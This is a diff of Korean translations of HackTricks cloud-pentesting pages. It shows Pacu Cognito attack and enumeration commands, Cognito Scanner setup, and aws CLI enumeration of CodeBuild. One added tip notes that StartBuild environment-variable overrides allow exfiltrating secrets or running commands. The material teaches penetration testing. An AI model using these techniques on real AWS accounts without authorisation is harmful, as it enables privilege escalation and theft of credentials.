공격자는 또한 이러한 권한을 사용해 **enroll himself to a Cognito stream that publish changes** on these datases 또는 **lambda that triggers on cognito events**에 자신을 등록할 수 있습니다. 저는 이것이 사용되는 것을 본 적이 없고, 여기서 민감한 정보가 있을 것으로 기대하지는 않지만 불가능한 일은 아닙니다.
|
||||
|
||||
### 자동화 도구
|
||||
### 자동 도구
|
||||
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, 은 이제 계정 내 모든 Cognito 자산의 열거를 자동화하고 취약한 구성, 접근 제어에 사용되는 사용자 속성 등을 표시하는 "cognito\_\_enum" 및 "cognito\_\_attack" 모듈을 포함합니다. 또한 사용자 생성(포함된 MFA 지원)과 수정 가능한 커스텀 속성, 사용 가능한 identity pool 자격증명, id tokens의 assumable roles 등에 기반한 권한 상승(privesc)을 자동화합니다.
|
||||
|
||||
모듈 기능 설명은 [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 파트 2를 참조하세요. 설치 지침은 메인 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 페이지를 확인하세요.
|
||||
모듈 기능 설명은 [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 파트 2를 참조하세요. 설치 지침은 메인 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 페이지를 참조하세요.
|
||||
|
||||
#### 사용법
|
||||
|
||||
지정된 identity pool 및 user pool client에 대해 사용자 생성 및 모든 privesc 벡터를 시도하기 위한 cognito\_\_attack 사용 예:
|
||||
주어진 identity pool 및 user pool client에 대해 사용자 생성 및 모든 privesc 벡터를 시도하기 위한 cognito\_\_attack 사용 예:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
|
||||
```
|
||||
현재 AWS 계정에서 확인 가능한 모든 user pools, user pool clients, identity pools, users 등을 수집하기 위한 cognito__enum 사용 예:
|
||||
현재 AWS 계정에서 보이는 모든 user pools, user pool clients, identity pools, users 등을 수집하기 위한 cognito\_\_enum 사용 예시:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)은 python으로 작성된 CLI 도구로, Cognito에 대한 다양한 공격을 구현하며 그중에는 privesc escalation도 포함됩니다.
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)는 python으로 작성된 CLI 도구로, privesc escalation을 포함한 Cognito에 대한 다양한 공격을 구현합니다.
|
||||
|
||||
#### 설치
|
||||
```bash
|
||||
@@ -269,6 +317,6 @@ $ pip install cognito-scanner
|
||||
```bash
|
||||
$ cognito-scanner --help
|
||||
```
|
||||
자세한 정보는 다음을 확인하세요 [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
|
||||
자세한 내용은 다음을 확인하세요: [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,32 +1,32 @@
|
||||
# AWS - Codebuild Enum
|
||||
# AWS - Codebuild 열거
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CodeBuild
|
||||
|
||||
AWS **CodeBuild**는 **완전 관리형 지속적 통합 서비스**로 인식됩니다. 이 서비스의 주요 목적은 소스 코드를 컴파일하고, 테스트를 실행하며, 배포를 위한 소프트웨어 패키징의 순서를 자동화하는 것입니다. CodeBuild가 제공하는 주요 이점은 사용자가 빌드 서버를 프로비저닝, 관리 및 확장할 필요를 덜어준다는 점입니다. 이러한 편리함은 서비스 자체가 이러한 작업을 관리하기 때문입니다. AWS CodeBuild의 필수 기능은 다음과 같습니다:
|
||||
AWS **CodeBuild**는 **완전 관리형 지속적 통합 서비스**로 알려져 있습니다. 이 서비스의 주요 목적은 소스 코드를 컴파일하고 테스트를 실행하며 소프트웨어를 배포할 수 있도록 패키징하는 일련의 과정을 자동화하는 것입니다. CodeBuild가 제공하는 주요 이점은 사용자가 빌드 서버를 프로비저닝, 관리 및 스케일링할 필요를 줄여준다는 점입니다. 이러한 편의성은 서비스 자체가 이러한 작업을 관리하기 때문입니다. AWS CodeBuild의 주요 특징은 다음과 같습니다:
|
||||
|
||||
1. **관리형 서비스**: CodeBuild는 빌드 서버를 관리하고 확장하여 사용자가 서버 유지 관리에서 벗어날 수 있도록 합니다.
|
||||
2. **지속적 통합**: 개발 및 배포 워크플로우와 통합되어 소프트웨어 릴리스 프로세스의 빌드 및 테스트 단계를 자동화합니다.
|
||||
3. **패키지 생산**: 빌드 및 테스트 단계 후 소프트웨어 패키지를 준비하여 배포할 수 있도록 합니다.
|
||||
1. **Managed Service**: CodeBuild는 빌드 서버를 관리하고 확장하여 사용자가 서버 유지 관리를 하지 않아도 되게 합니다.
|
||||
2. **Continuous Integration**: 개발 및 배포 워크플로우와 통합되어 소프트웨어 릴리스 과정의 빌드 및 테스트 단계를 자동화합니다.
|
||||
3. **Package Production**: 빌드 및 테스트 단계 이후 소프트웨어 패키지를 준비하여 배포 준비 상태로 만듭니다.
|
||||
|
||||
AWS CodeBuild는 다른 AWS 서비스와 원활하게 통합되어 CI/CD(지속적 통합/지속적 배포) 파이프라인의 효율성과 신뢰성을 향상시킵니다.
|
||||
AWS CodeBuild는 다른 AWS 서비스들과 원활하게 통합되어 CI/CD (Continuous Integration/Continuous Deployment) 파이프라인의 효율성과 신뢰성을 향상시킵니다.
|
||||
|
||||
### **Github/Gitlab/Bitbucket 자격 증명**
|
||||
|
||||
#### **기본 소스 자격 증명**
|
||||
#### **Default source credentials**
|
||||
|
||||
이것은 일부 **액세스**(예: Github 토큰 또는 앱)를 구성할 수 있는 레거시 옵션으로, 이 자격 증명 세트가 **codebuild 프로젝트 간에 공유**되어 모든 프로젝트가 이 구성된 자격 증명을 사용할 수 있습니다.
|
||||
이 옵션은 레거시 방식으로, 일부 **access**(예: Github 토큰 또는 앱)를 구성하여 이 자격 증명이 **codebuild projects 전반에 걸쳐 공유**되도록 할 수 있습니다. 따라서 모든 프로젝트가 이 구성된 자격 증명 세트를 사용할 수 있습니다.
|
||||
|
||||
저장된 자격 증명(토큰, 비밀번호 등)은 **codebuild에 의해 관리**되며, AWS API에서 이를 검색할 수 있는 공개적인 방법은 없습니다.
|
||||
저장된 자격 증명(토큰, 비밀번호 등)은 **codebuild에서 관리**되며 AWS API에서 이를 가져올 수 있는 공개적인 방법은 없습니다.
|
||||
|
||||
#### 사용자 정의 소스 자격 증명
|
||||
#### 커스텀 소스 자격 증명
|
||||
|
||||
저장소 플랫폼(Github, Gitlab 및 Bitbucket)에 따라 다양한 옵션이 제공됩니다. 그러나 일반적으로 **토큰이나 비밀번호를 저장해야 하는 옵션은 비밀 관리자에 비밀로 저장됩니다**.
|
||||
저장소 플랫폼(Github, Gitlab 및 Bitbucket)에 따라 다양한 옵션이 제공됩니다. 일반적으로 토큰이나 비밀번호를 저장해야 하는 모든 옵션은 **secrets manager에 비밀로 저장**됩니다.
|
||||
|
||||
이것은 **다양한 codebuild 프로젝트가 제공자에 대해 구성된 서로 다른 액세스를 사용할 수 있도록** 하여 단순히 구성된 기본 액세스만 사용하는 것이 아닙니다.
|
||||
이렇게 하면 **다른 codebuild projects가 공급자에 대해 서로 다른 구성된 접근 권한을 사용할 수 있게** 되어 단순히 구성된 기본 접근만 사용하는 대신 프로젝트별로 다른 접근을 사용할 수 있습니다.
|
||||
|
||||
### Enumeration
|
||||
### 열거
|
||||
```bash
|
||||
# List external repo creds (such as github tokens)
|
||||
## It doesn't return the token but just the ARN where it's located
|
||||
@@ -47,9 +47,12 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
|
||||
aws codebuild list-reports
|
||||
aws codebuild describe-test-cases --report-arn <ARN>
|
||||
```
|
||||
> [!TIP]
|
||||
> 만약 `codebuild:StartBuild` 권한이 있다면, 빌드 시점에 환경 변수(env vars)를 덮어쓸 수 있다는 점을 기억하세요 (`--environment-variables-override`). 이는 `UpdateProject`나 `buildspec` 오버라이드 없이도 일부 공격에 충분할 수 있습니다(예: artifact/upload buckets를 리다이렉트하여 secrets를 exfiltrate 하거나, language/runtime env vars를 악용해 명령을 실행하는 경우).
|
||||
|
||||
### Privesc
|
||||
|
||||
다음 페이지에서 **codebuild 권한을 악용하여 권한 상승**하는 방법을 확인할 수 있습니다:
|
||||
다음 페이지에서 **abuse codebuild permissions to escalate privileges** 방법을 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-codebuild-privesc/README.md
|
||||
@@ -67,7 +70,7 @@ aws codebuild describe-test-cases --report-arn <ARN>
|
||||
../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 참고자료
|
||||
|
||||
- [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user